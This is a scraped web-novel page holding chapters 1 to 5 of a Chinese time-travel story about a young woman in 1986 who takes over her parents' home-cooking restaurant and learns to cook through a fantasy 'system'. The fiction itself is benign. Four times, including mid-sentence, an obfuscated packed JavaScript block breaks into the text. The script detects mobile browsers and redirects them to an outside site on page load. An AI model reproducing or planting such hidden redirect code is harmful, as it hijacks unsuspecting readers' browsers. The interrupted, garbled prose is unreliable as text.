《我靠家常菜上国宴[八零]》 1. 第1章 从已知的穿越大数据来说，常嘉欣觉得自己开局并不算那么惨。 首先，无负债开局。 虽然属于她的家目前刚经历一场灾难。 二室一厅的小家在一星期前发生了火宅，不过火势影响并不大，从厨房只蔓延到客厅，其中烧得最严重的厨房并没有多少家电，最值钱的燃气灶和液化罐在火灾蔓延前，被原身真·拼了命搬出厨房，再加上救火及时，从统计来说，这场火宅只是带走了餐桌椅、茶几、筷子等木制品，其他像是供水、供电系统还算保持完好，所以这总损失价值大概在10元以内。 准确地说是10.31元。 这是她出院前给的装修费。 如今是平行世界的86年，南江市，一个在全国属于发展前列的城市。 改革开放已经五六年了，私营经济进入快速发展阶段，普通工人月薪大约20-50元，一晚素汤面只需要3毛钱的时代，这10元的装修费不算多，但也不少。 而除去已经给出去的装修费、住院费，目前常嘉欣手里还有近500的积蓄，再加上这套小房子，以及小区楼下那家名为“家常菜”小饭馆的三年租期，就算她啥都不干，活个一两年并不艰难。 其次，她这穿越算是孤儿流开局，在接下来的生活中，不需要伪装。 原身也叫常嘉欣，高中刚毕业，家庭关系简单，就一家三口在这里小房子住着，日子其实过得温馨和睦，只是父母在一个月前回村探望亲戚，顺便进山采购食材，却没想到一去就是天人永别。 当然了，是孤儿并不意味着没亲戚。 不过，也都不是什么奇葩亲戚，这是常嘉欣最舒心的地方，她就不是擅长斗极品的人。 父亲常胜这边的双亲已逝，有一个哥哥和一个姐姐，大伯是个老实木工，家里新装修就是他搞定的，姑姑则负责照顾了她这段住院时间的生活，话虽然密，但心地好啊，不然也不会照顾她一周。 母亲许嘉初这边亲戚倒是很多，但是都比较远，外婆外公都在靠进海岛那边，生了四个儿子两个女儿，原身母亲是倒数第二个，嫁得也最远，一般除了过节也没办法多联系，根据原身的记忆，在出殡的时候见到的大舅和大姨为人都不错，没贪图什么，只留了一句，有需要，可以联系他们。 接受穿越，接受这个身份之后，常嘉欣不免想到了原身的愿望，将父母的“家常菜”发扬光大。 说起来，常嘉欣的父母绝对算得上时代的先锋，在个人经营开放后，父母都辞去了国营饭店的工作，开始创业，短短5年时间，便利用手艺从炒饭摊子进化到了如今的“家常菜”小饭馆，也是去年，他们买下这60平的商品房，以及租了楼下临街的商铺开店，想来若是没有出事，这夫妻一定能在未来餐饮行业占有一席之地。 这属于他们的新房子里，其实并没有多少家的回忆，但一家三口从矮小更拥挤的筒子楼走到如今这里，自然不缺常胜夫妻无数次畅想“家常菜”的未来。 也是因此，这在蜜罐中长大的女孩，在父母离世之后，便想着继承饭馆。 谁能想到这小姑娘炒一碗饭，不仅烧了家，还把自己送走。 想到这，常嘉欣撸起袖子，既然鸠占鹊巢，总要有点良心。 虽然她前世也是没进过厨房的人，但算是美食爱好者，而且作为化学专业出身记忆里极佳的研究员，接受过各大美食博主的视频洗礼，没道理做不出一碗好吃的炒饭！ 太阳已经照到头顶，差不多可以做午饭。 “炒饭的灵魂是饭的口感，所以第一步，要学会蒸好饭，最合适蒸饭的厨具便是竹筒，融入竹质香的米粒粘连早一起，再用布包着，等隔夜，这样炒出来的米饭与鸡蛋融合会更完美。” 常嘉欣记性向来很好，在脑海里回忆了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324905|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下某美食博主教过的蛋炒饭教程。 虽然厨房硬装的墙面还保持着黑漆漆的残缺美感，但是“软装”已经和之前差不多。 常嘉欣开始盘点工具。 燃气灶就位，她姑姑走之前怕她自己一个人住饿死，已经教过她怎么正确安全使用。 有新做的木甑子，可以用来蒸米饭，木桶饭讲道理也一样香吧？ “我记得，水和米的比例最合适在1:1.2-1:1.5之间，炒饭应该要软一点，就选1.5吧。” 自我感觉良好的常嘉欣就把清洗好的木甑子放在铁锅上，然后开始洗米，装入竹筒，倒入等比例的清水，一系列动作干净利落，可以说非常顺畅。 一压，一扭，开火！ 常嘉欣看了下手表，这是她继承家里贵重的物品之一，做饭非常重要的计时工具：“万事开头难，感觉这做饭到还真不算难，接下来就是蒸15分钟，还有闷15分钟的等待时间？” 她记得那个博主是这样说的。 半小时后。 因为这个木甑子已经被冷却了1，常嘉欣徒手揭开木盖都不觉得烫手。 观察一下。 米饭莹白糯芯，如珍珠落玉盘。 不错，色泽上与她看过美食纪录片封面的白米饭图片可以说如出一辙！ 凑近一下，她能闻到米香中似乎混着蒸笼独木制清香。 完美，这不就是美食文常形容的米饭么？ 米饭香最能让人忘却烦恼。 果然更严谨的化学实验她都能做，更何况这做饭呢！ 差最后一个口感了，常嘉欣从木甑子中舀起时米粒粘连成团，些许落下时又自然松散，仅从视觉就能感知到米饭的软糯，入口，舌尖提前尝到淀粉转化的甘甜...... 那是没有的。 “！” “呸呸呸。” 2. 第2章 电饭煲果然是伟大的发明，常嘉欣再一次怀念现代设备。 谁能想到这饭还是半生的。 “都说笨鸟有三种，一种先飞，一种孩子飞，还有一种懒得飞。”面无表情吐出饭粒，常嘉欣摸着良心想，“算了，愿望之所以是愿望，总是难以实现。” 她这身子都19，心理年龄也都快39，这时候先飞是飞不起来了。 至于孩子，常嘉欣想了想，恋爱可以有，但是生还是算了。 所以只有最后一种——放.....放她找厨师去发扬光大啊。 对，也没人说开饭馆老板一定要是厨师嘛。 反正目前底线就是争取不让这家饭馆倒闭！ “叮～” “恭喜宿主完成一桶夹生的蒸米饭，家常感评分100%，激活超味蕾美食系统。” “恭喜宿主达成厨艺新称号：无毒，奖励随机家常菜谱体验券——臭豆腐炒饭。” 突兀的机械声音在空荡的厨房响起，常嘉欣虽然被吓了一跳，但很快就接受这个奇怪的声音。 毕竟都穿越了，她有没有臆想症已经无所谓。 在系统播报的同时，常嘉欣注意到她视线前方出现了一个悬空的属性面板。 “宿主：常嘉欣 厨艺成就：无毒（+） 委托任务：发扬光大“家常菜”，当前“家常菜”馆未营业 装备栏：虚拟厨房（+），菜谱臭豆腐炒饭体验券（+） （+）” 无毒，常嘉欣莫名欣慰，这个评价可真不算低。 面板上有多个可点击的（+）按钮，很自觉的用意识点在“无毒”后面的第一个按钮。 “下一个阶段“可食”，需要至少完成一道评价SSS的美食。” 常嘉欣挑眉，继续用意识点击。 “虚拟厨房：当前无使用权限。” 好吧。 她开始将注意力放在最后的按钮上。 “系统操作说明： 1.本系统以传扬各类美食为己任，待宿主完成委托任务后可解除绑定； 2.本系统操作与意识绑定，虚拟厨房需要对应奖励可操作，目前奖励有且仅有两种方式，达成对应厨艺成就，或完成系统任务； 3.本系统拥有所有解释权。” 意识再次一动，属性面板便消失在常嘉欣眼前，等再次出现，常嘉欣将目标锁定在这个臭豆腐炒饭体验券。 互联网时代，炒饭种类繁多，从素菜，到各种肉类虾类，常嘉欣见过无数中搭配，也吃过不少，但可真没听过臭豆腐还能炒饭？ 用意识确定按钮的那一瞬间，常嘉欣就发现自己出现在一个新环境。 比较破败简陋的农家厨房，黄灰色的土墙，正对着她则是一个大灶，上面大铁锅正在煮着应该是豆浆，雾气与豆香四溢，常嘉欣想转头环顾周围一番，却发现她并不能动...... “她”还不自觉开始用铲子开始搅拌着大锅，同时熟练地撇去顶部浮沫。 “大牛，把卤水拿来。” “来了，娘。” 从“她”口中发出了有些厚重还带着嘶哑的声音，而门外则是“她”儿子的声音...... 大概经过了几分钟，常嘉欣总算理解所谓的体验是怎么样的。 她像是灵魂出窍，附身在一个这个妇女身上，视觉、嗅觉，甚至搅拌时的手臂发力的感觉和身上疲惫，常嘉欣都能清晰的感受到，当然这与她亲自操作不一样，只有观感同步，她也没有这个妇女的任何记忆与感情。 这边是菜谱的体验方式？ 很神奇，只是刚刚这个人并不是在炒饭，而是在制作豆腐。 通过这妇女的视线，所在的地方应该是一个家庭豆腐坊，附身的这位女士还不知道名字，常嘉欣暂时称为牛大娘。 牛大娘有两个儿子，一个大牛，大概有13岁，一个二牛小一点，估计才5、6岁。 他们进厨房时的装扮，都是一身灰黑色粗布衣，有几分古代感，但时间应该在近代，毕竟大牛并没有留辫子头，而是有些脏乱的短发。 看起来这家条件比较艰苦，不过她能感觉到两个儿子虽然有些瘦弱，但气色还可以。 这个体验比想象的久，久到常嘉欣跟着牛大娘做一天豆腐，还睡上一晚。 第二天清晨，牛大娘才把木箱里压制的老豆腐拿出来，就在常嘉欣以为要将凝滞好的老豆腐开始发酵成臭豆腐，牛大娘只是把老豆腐切块放在竹篮子中，便出门了。 卖豆腐。 跋山涉水卖豆腐。 直到快午时，牛大娘才卖完所有豆腐回到家中。 也是借着卖豆腐，常嘉欣才有些了解这个时代，应该是正在经历变革的民国。 大概是南方大山中的一个村落，走过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324906|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去大多都是朴实无华的黄泥房。 路上不少人都认识，或许快要入夏，不少人挑着水在灌溉田地的水稻苗，只是妇女与大爷居多，其中有一个阿婆应该刚蓄好水，特意问牛大娘丈夫回家了没，说是隔壁的隔壁村里有不少从战场回来的，意思牛大娘的丈夫也参与战争去，估计有些年。 之所以确定这是南方，倒不是水稻苗，还是这里他们的方言，与北方差异还是很大的，虽然她这个南方人并不能太懂，不过靠着悬乎的“体验”，竟然都能听个明白。 这体验真得很奇妙，但和菜谱体验券名字出入有些大。 她跟着牛大娘做了十多天豆腐，叫卖豆腐，和不同的人聊些家常，也做了不少家务，那是一点臭豆腐炒饭的影子都没看到。 做饭确实有做，但是这个家条件摆在这里，基本都是蒸一蒸朴实无华的粗粮饭，再加一碗青菜汤，离谱的是，做豆腐的家，吃豆腐还是一种奢侈，十多天里常嘉欣只看到牛大娘做过一次，每次小牛他们都吃的异常满足。 再经历了快一个月的牛大娘视角直播日常后，在常嘉欣都有些倦怠的时候，出事了。 这天凌晨，牛大娘照往常带着竹篮子准备跨越山涧小路前往另一个村里，在路上发现了一片特殊的草地，满是鞋印，还有燃尽的火摊。 机警的牛大娘很果断，直接转身回到村子，径直前往村长家，留了一句看到山上一群陌生脚印，便自顾自回家了。 “大牛，有危险，我们进地窖！” 她没多说其他，把家里最值钱的包裹放在铁锅旁，紧接着食物、衣物，虽然有些慌乱，可并没有疏漏什么。 而大牛也是经验丰富，把边上粘着不少铁锈的老铁锅翻开，在侧边推开了一道石门，隘口很紧，但大牛身子抱着物资能慢慢挪进去。 一旁的小牛也灵活，先帮忙把家里的豆制品什么打包好，再捞出灶下所有的草木灰反复碾磨。 等物资什么都送进去，牛大娘把这些草木灰小心撒在床上、灶台等等，将这个破败的家布置成无人烟的模样，牛大娘才一点点挪动石门，同家人蜗居在昏暗的地窖中。 黑暗最能滋生恐惧。 战乱？ 或者匪患？ 民国时期是一个交织着血泪与挣扎的复杂历史阶段，天灾人祸频繁爆发，军阀割据，兵匪混乱，想到这，常嘉欣心都被揪了起来，这熟练的应对...... 3. 第3章 三个人窝在一个只有5平的小地窖中，只有石门口两条较大的缝隙能在白天透出一些光，常嘉欣感觉每一秒都在煎熬身心，又热又闷，还有那食物消化后刺鼻的味道...... 要知道这两天他们基本吃大豆为主，可观察大牛和小牛两人，他们并无不适的模样，小牛甚至因为小口吃到了充饥的老豆腐，一脸满足。 一天，两天，三天。 就在常嘉欣觉得那脚印可能并不是什么危险痕迹时，在第四天，从石门口传来了几个男人的声音。 “妈蛋，这村特么人跑光了。” “还不是老郑他们蠢，踩点都能被发现。” “这破家能有什么？看看灰尘那么厚。” “你懂个毛，再找找，看看有没有地窖？” 声音说到地窖的时候，常嘉欣感觉她整个灵魂都紧绷了。 一分钟，五分钟，十分钟。 “你们有没有闻到什么味？好他妈臭啊！” “不是，你们谁放屁了，妈的吃屎了吗？” “老大，真不是我们，你看这里有发霉的玩意？你看这缸里。” 牛大娘瞬间一个机灵，门口大缸，她虽然撒了灰，但是忘记里面还有豆腐。 一时之间，牛家三口脸上的惊恐肉眼可见，他们都屏住呼吸。 常嘉欣灵魂都感觉吓了个机灵，臭豆腐？ 这特么菜谱体验还要经历悲剧吗！ “都是些破烂！” “走了，走了。” “妈蛋还真没人住，特么这都什么时候的了，晦气。” 这期间都能听到不少砸东西的声音，或敲击石板木板的声音，但好在，这个不常规的地窖入口最终并被发现。 常嘉欣这才缓过来神。 还好还好，这臭豆腐属于没那么普及的食材，臭了不代表坏了！ 不过，等到这群人声音消失，牛大娘他们还是没有动。 又是2天。 直到她隐隐约约听到敲锣的声音，牛大娘他们这才从地窖出来。 牛大娘卷起衣袖指挥道：“大牛你去挑水，小牛你去问问村里情况，看下后面准备怎么说。” 说这，就开始整理这个本就破败，又被砸了大半的小家。 卧室最先整理出来，大概是觉得地窖在这里，这边被砸被挖的最惨，不过石床还是完整的，只要扑个草席，晚上就可以睡了。 接着是厨房，大牛的水挑来，先清理下地窖，这才开始整理厨房。 抱着一堆破烂，走到院子的时候，牛大娘看到门口大缸已经被砸了一半，上面的木板被扔在一盘，只能看到青灰色的豆腐，散发刺鼻臭味。 “娘，这豆腐还能吃吗？”小牛抱着一堆东西跑来，就看到牛大娘盯着大缸。 牛大娘把手里的破烂随意仍在院子里，拍了拍手，注意到最旁边的白色菌膜，弯腰从缸底边上掐出了一块放出了嘴里：“可以，这是臭豆腐，你爹在的时候，最喜欢的下酒菜。” 如今人不在，她又不爱吃，也没再做过臭豆腐。 “哇！臭豆腐啊！我们中午能吃吗？” “吃。”牛大娘摸了摸小儿子的头，“你这怀里的东西哪里来的？” “村长给的，说是奖励，要不是娘机警，村子不少人要遭罪呢。”小牛骄傲的抬起头，扒开包袱，里面是一个小瓦罐，还有一袋米，“村长说那伙人应该是过路的。” 牛大娘接过东西，瓦罐里是猪油，这是好东西。 劫后余生，自然要小小庆祝一番。 收拾好家，等到午饭时候，牛大娘就站在灶头。 饭是先在陶罐中蒸的，蒸好后就冷在一边。 常嘉欣想若是再给她蒸饭的机会，她定也能蒸出全熟的，不过，此时这已经不重要了。 她将见证臭豆腐炒饭诞生。 是庆祝，少不了肉，牛大娘炒之前，还从食缸里拿出半截腊肠，放在砧板上，刀刃斜推，红如玛瑙的薄片就这般诞生。 铁锅热好之后，她从村长送来的瓦罐中舀出一大勺猪油，白生生的油脂遇热便化作一汪春水，青烟一起，就将这荤油的香味弥漫至整个厨房。 小牛原本烧着柴火，闻到之后不自觉靠近铁锅，深深吸上一口。 这缺衣少食的年代，吃猪油的日子并不多，自然不能放过这些弥漫来开的香味。 牛大娘也没埋汰他，很快就把挑选出来的臭豆腐倒入锅中。 又是“滋啦”一声，便用锅铲均匀散开这些豆腐，手腕晃动，此时，这属于食材的臭味便彻底掩盖了猪油的喷香，味可谓冲得很。 小牛也不嫌弃，没有离开灶头，除去臭味，单看铁锅中淡绿色的豆腐点缀些许红腊肉，还挺好看：“娘，这个臭豆腐和豆腐一样好吃吗？它味道为什么那么臭啊？” 他不嫌弃这食物，在他印象里香喷喷的猪油炒饭其实就非常美味，只是现在加上臭味的豆腐，自然好奇。 牛大娘拨动着铲子，确定这些豆腐最终都碾碎成泥，均匀沾上热油，这才把腊肉倒了下去，腊肉很薄，不需要多炒，等油脂从里渗出，撒些许盐，就是下米饭的好时机。 臭豆腐独有的色泽加持，牛大娘颠锅时，米粒都带着青玉般的光泽。 铁锅随着另一手的摆动，一抬一放，除了臭豆腐独家的气味，慢慢夹上了焦香，泛起的烟火在此刻与生活交融。 臭豆腐炒饭出锅时间很快。 说实话，常嘉欣不理解这个家常炒饭搭配，有些绿色的米饭，从视觉效果来说，挺有饭缩力的。 但是真香这件事，从未缺席。 牛大娘把炒饭分成了三份，自己那一份不多，也能吃上两口。 米估计是陈米，蒸好之后并不如现代那般柔软，但这个偏硬裹上豆腐独有的软糯口感，口感非常，但这些在鲜美滋味面前，优点也就那样。 炒饭一入口，就开始在口中挑战味蕾，最霸道自然是臭豆腐，臭豆腐作为特殊美食有它独家的魅力，就是那能让味蕾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324907|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念念不忘的咸鲜味，勾人上心头，而辅佐的腊肉、猪油米饭，则是加深层次与美味余韵。 好吃！ 好鲜！ 这炒饭常嘉欣全程跟着制作的，可没放什么味精或者现代黑科技。 不过也能理解，臭豆腐属于腌制豆制品，大概就是黄豆内的蛋白质经过发酵产生氨基酸，赋予了它独家的鲜美。 但理性归理性，常嘉欣发誓，这绝对是她吃过最鲜美的炒饭！ 呜呜呜，可惜两口下去就没了。 牛大娘已经啃上了番薯。 一旁的小牛头都没抬起来过，大牛虽然极力克制，但脸上的满足感很难让人忽视。 “娘！我决定以后臭豆腐就是我的最爱！”小牛嘴甜，满脸快意。 “我也是。”大牛也紧跟上，他还想得更多，“娘，以后我们还可以做臭豆腐卖呢，要是等爹回来，我给他做。” 牛大娘抬头看着两儿子，没多说什么，只是不自觉望向家门口。 常嘉欣想，她应当是思念丈夫了。 一个恍惚，她便脱离牛大娘的身体，出现在一个空旷的大厨房中，她前面站着一个高大健硕的女厨师，年纪不算大，但气势十足。 应该是很厉害的厨师，厨师帽非常的高。 “你好。” “我是本次臭豆腐炒饭的指导老师。” “基于宿主当前厨艺评价为无毒，本次指导将分三个阶段课程，臭豆腐制作，猪油炒饭，以及臭豆腐炒饭。” “完成制作一份S级臭豆腐，可进入下一个指导环节。当完成一份SSS级臭豆腐炒饭，即可退出虚拟厨房，完成本次体验。” 都不容常嘉欣多思考，她所处的环境再次变换。 又是牛大娘家，只是这一次，她似乎是自己的身体站在石磨面前，她老师则站在麻布袋旁边。 “大豆挑选......” 选豆、泡豆、磨浆、滤浆、煮浆、点卤、压制、发酵，所有的过程没有想象中的醍醐灌顶，常嘉欣是跟着老师一步一步学习出来的。 日出而作，日落而息。 神奇的是，随着日子过去，当推着石磨磨豆时，常嘉欣能清晰感觉到自己体能增加。 其实过程还是枯燥的，但是常嘉欣从前能在实验室对着细胞培养皿观察大半年，可见毅力耐心非常。 所以经过虽然枯燥，但她依旧心态保持平和。 不过心态归心态，做臭豆腐还是需要手艺的，等她做出S级别臭豆腐时，她感觉已经过去大半年。 回到厨房，则开始了蒸饭之旅，选米、淘米、浸泡、沥水、装笼、蒸制..... 等完成那份SSS级臭豆腐炒饭花了多少时间？常嘉欣并不知道。 她在在那四面无窗的大厨房中，完全感知不到时间变化，但估计和学豆腐时间差不多。 完成这次神奇的体验，这才回到最初的家里，而现实中时间才过去一会，可疲惫感让常嘉欣从午时睡到第二天。 4. 第4章 隔天一早。 常嘉欣一睁眼，确定意识中的系统记录。 “恭喜宿主达成厨艺新称号：可食，奖励随机家常菜谱——番茄豆腐鱼头汤。” “下一个阶段“尚可”，需要至少完成3道评价SSS的美食。” “系统任务：“家常菜”馆已停止营业30天，客户流失量较大，请尽快开张，奖励根据重新开张时间与效益计算（营业倒计时：0.5天）。” 同样是菜谱，没有体验券三个字，两者之间的感官就天差地别。 常嘉欣昨天其实就试了试，发现这个菜谱只可以在系统自带的虚拟厨房观看制作流程，相当于看美食教程，只是差别在于她可以省下练习的食材和时间，能在虚拟厨房中自己学会。 至于进阶任务，常嘉欣不能心急，她要先整理自己上一次体验券的经历。 体验带给她的收获非比寻常，并不是只有一个炒饭技术。 在经历了一段特殊时期炒饭的学习积累后，她学会制作豆腐、臭豆腐，顺带还学会了臭豆腐失败品之一腐乳，若是饭店开不下去，开个豆制品应当不错。 除此之外，其实按照她体验中学会的这道菜谱，她在厨艺涉及的火候、调味上也有巨大的进步，不过刀工倒是就那样，切腊肠能能保证厚度均匀，但也仅学会了切腊肠。 不过，这些是黄柯一梦，还是真有所得，需要她实际实验一下。 也不用做饭，当常嘉欣格外轻松抬起比她人还重的衣柜时，就确定，这体验一定是真的，毕竟这可都是实木家具。 看来体验中日复一日的磨豆腐，她的肌肉线条虽然没出来，但是臂力增加非常明显，体力也是。 常嘉欣赶忙走到厨房，不为别的，先做饭。 她太饿了。 到了厨房。 看到这个新制作好的木甑子，常嘉欣抚上就格外熟悉。 虽然饿，但她还是先严格按照学会的蒸饭流程，清洗米饭，这次她多洗了几份米饭，先在铁锅煮开的热水中将米饭煮个半熟。 铁锅中续上热水，再放木甑子，底部的竹篓铺上干净的纱布，再倒入半熟的米饭，开蒸。 同时，半熟的米饭过滤了不少米汤，她也没浪费，先喝上一碗顶饿。 这次是大火煮了大约二十分钟后，开了煮盖，闻到米香，常嘉欣很满意，如今刚入春，天气并不热，这些饭她能吃个两天。 家里有一小罐猪油的，常嘉欣知道这是她姑姑准备的，不仅猪油，酱油盐醋调味料应该都从她家里均处了一些过来。 只能说，感恩。 等她行有余力的时候，她也要看看能帮什么忙。 简单清洗一下铁锅，常嘉欣开始做她的猪油炒饭。 热油，下饭，酱油调味，只要米饭蒸熟，炒饭出锅都不需要五分钟。 简单醇厚的酱油炒饭就能调动她所有的味蕾，吃上几口，再喝一口米汤，咸香与米汤碰撞，这样的满足感完全可以填补她穿越时空的孤寂。 天呀，她真会自己做饭了！ 其实米的品质不算特别好，是杂交水稻，产量很不错，但是在口感上略有所欠缺，她蒸饭已经多加一些水，还是偏硬，不过，酱油与猪油却是实打实的好调味料，勉强也能达到S评价。 常嘉欣顺势给自己出锅的第一份炒饭做了综合评价。 同时，放慢吃饭的速度。 开始思索开饭馆这件事。 营业证什么都还在时间内，房租还交了2年，店里正常营业的设备什么也都不缺，其实主厨就位，要营业今天都可以勉强一下。 逻辑上并不难，只是，勉强开并没有意义，而且还容易坏口碑。 如今私营不像初期那么稀奇，在这个市区能存活下来的小饭馆都需要有不错的口碑积累，“家常菜”就是如此。 他们这是南江市特意划分出来的新经济区，常嘉欣所在的这个小区叫新围小区，有50多栋五六层的商铺楼房，小区四面临街的一楼都是商铺楼，衣食百货，个人买卖的店面可不少，餐馆自然也是。 就“家常菜”所在的这一道街，就有一家早餐店，说是是早餐店但从早到晚都营业，一家是面店，另一家也是炒菜馆，名为东北炒菜馆，厨师来自北方，而且打通了上下两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324908|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼，属于高级饭馆，光包厢的大圆桌就不是“家常菜”能比的。 除去同行的竞争，店里的菜单也是问题。 常胜夫妻在时，菜单其实挺丰盛，荤菜、素菜常规小炒菜就有十多种，再加上他们起家的主打——炒饭，在这一片是有口皆碑。 原先的炒菜肯定是没办法做了，所以常嘉欣要准备的第一件事，就是改菜单。 好在炒饭才是“家常菜”的主营业务。 这也和小区旁边的客群有关，有一家国有汽车零部件制作相关产业，作为经济区支柱产业，除此之外还有服装厂、食品厂等等从其他地方迁移或者开的分厂，这让有条件中午来吃饭打牙祭的工人还不少。 当然，小炒不是天天能吃的，要有三五个朋友一起来多点一两个炒菜，大多还是点一碗炒饭。 以她现在的厨艺，普通炒饭她应该都能做，像是蛋炒饭、腊肉炒饭，虽然这些口味上肯定不及那sss级别的臭豆腐炒饭，但应该也不差。 总的来说，她短时间内主营炒饭并不丢份，也应该能能稳住口碑。 只是问题在于食材供给。 食材是决定菜品的根本，不说其他米油盐，就臭豆腐制作时间，不得搞个一星期，这还是发酵顺利的情况下，作为能制作S级别臭豆腐的常嘉欣表示，臭豆腐发酵所需要的菌群和卤水决定了最终臭豆腐品质，巧妇也难为无米之炊啊。 除了这个，还有就是日常经营问题。 两夫妻都在时，一个做饭，一个前台端菜、收银，闲暇时候一起清洗后厨碗筷，小饭馆才六个桌，全坐满也就24个人，属于快餐，翻桌很快，忙碌的时候停不下脚，但有两人还算能兼顾。 可现在只有常嘉欣一人啊，后厨做饭和在前面经营一起，怕不是没什么生意才能兼顾？ 狠狠扒拉完碗中最后的饭粒，常嘉欣感觉身上的压力莫名大了起来。 “欣欣！在吗，妹啊！” “咚咚咚。” 她才刚准备起身动手洗碗，就听到门口传来的呼喊与敲门声。 声音有点熟悉，常嘉欣放下碗筷，前去开门。 5. 第5章 一开门，一个扎两麻花辫的高大女孩就背着一个大尿素袋，手里还拎着一大串腊肠，自顾自走向厨房，再出来，又从门口提起一袋，但她这次没去厨房，而是拎到客厅木椅旁，自顾自坐了下来，用手臂摸了一把汗。 “哎呦，累死我了。” “你们城里就是大，我下公交就给迷路，绕了好几圈，要不是问了人都找不到地。” 常嘉欣已经去厨房帮她倒水，见到她正脸就想起来，这是她大伯的女儿常薇薇，比她大一岁。 “薇薇姐，你怎么来了。” 大伯常得有四个孩子，常薇薇是唯一的女儿，大儿子常建国和二儿子常建党结婚就分出去，如今家里除了女儿，就是和小儿子常建业一起生活，记忆里，常薇薇是一个不拘小节的女孩，虽然是大伯家唯一的女儿，在宠爱中长大，但人特别懂事，骨子里带着大山的韧劲，家里不让她做农活，她自觉承包家务，一有空就去捞山货，连砍柴的活都不在话下。 “还不是我妈，要给我相亲，烦死了，就过来你家躲躲，你可别赶我走。”常薇薇虽然皮肤黄褐，但有一双明亮的眼睛，像是从高粱地里长出的野芍药，注视着人说话的时候，任谁都不好意思拒绝。 常嘉欣却知道，虽然乡下结婚早，但是大伯母并不是那种会急着让女儿嫁人的人。 大约是想来照顾她吧。 “你和我住一辈子都可以呢。”常嘉欣极为真诚说道，“你休息会，刚好尝尝我做的炒饭。” 从隔壁乡下走到镇上，坐车再转车到这里，估计至少3小时，现在11点多了，肯定没吃上午饭。 “呸呸呸，一辈子，我们都不嫁人了啊。”常薇薇无语，她还是想嫁人的，不过随即立马站起来，“我来我来，可不能再烧了！” 说着，也风风火火走向厨房。 常嘉欣扶额，烧厨房这件事看来已经传扬开了。 但现在她的身份是厨神——未来的！ “别，你就坐着休息，我刚刚自己吃完了呢。上次那是意外！真是意外。” 说着，她一把拽住常薇薇的胳膊。 “你可别唬我，我爸都说了......” “撕拉。” 一个拉扯，袖子就断了。 常嘉欣看着手里被扯断的布料，有点尴尬：“我......还是我来。” “好...” 常薇薇低头看看自己的袖子，又看看常嘉欣的手，还偷偷自己用手试图扯了扯袖子，没扯动啊，一时之间有点蒙。 柔弱不堪的堂妹？ 需要照顾的堂妹？ 她爸妈是这样说的吧？她也没记错吧？ 常嘉欣自然注意到她的小动作，不过更多想到的是她穿来之后的第二笔消费诞生了：“你先坐，等我五分钟，很快的。” 她准备用薇薇姐带来的腊肉做一碗炒饭。 常薇薇坐在小餐桌旁边，不时瞄一眼厨房里面，看到堂妹熟练的开火颠着铁锅，放心不少。 这才有空继续拉扯一下自己的另一个袖子。 事实证明，需要不少力气！ 这下，常薇薇感觉后面回去也不用太担心，力气大好啊，这样就算以后被别人欺负也不至于不能还手。 “我偷偷把建业喜欢的腊肠全给捞来了，嘿嘿，还有这袋米，够我们两个吃上个一个月。” “知道你们城里菜少还贵，这一捆青菜还有这野菜，我们这两天可以使劲吃。” “还有这菜干，虽然是冬天留下来的，炒炒还是好吃的，可别嫌弃。” 确定厨房没问题，常薇薇没真歇着，而是把麻袋里的东西整理出来。 “怎么会嫌弃呢。”她才捣腾不久，常嘉欣就炒出满满一大碗，还附带一碗米汤，“姐，吃饭。” 常薇薇顺势坐下，看到炒饭的时候忍不住咽了咽口水，刚刚闻到过飘渺的香味竟然是真的，眼前的炒饭，裹着酱色油膜的米粒，隐约可见的腊肉片，这些香气直接钻入鼻翼，再真实不过。 她妹真能做饭啊！ 而且看着卖相，还甩她十八条街那种。 这烧厨房，真是意外？ “那我就不客气了。”常薇薇直接用勺子捞了一大口，咸鲜与酱香层层叠叠，舌尖还有猪油独有的润滑，最重要的是腊肉带来出来的醇厚口感，层次分明。 “呜呜呜呜，好吃！” 那眼睛水灵灵看着常嘉欣，满足感几乎都要溢出来了。 这下，真不用客气了。 满满一碗，就算没有冤种弟弟抢，常薇薇也没放慢速度。 风卷残云，狼吞虎咽，说的就是她。 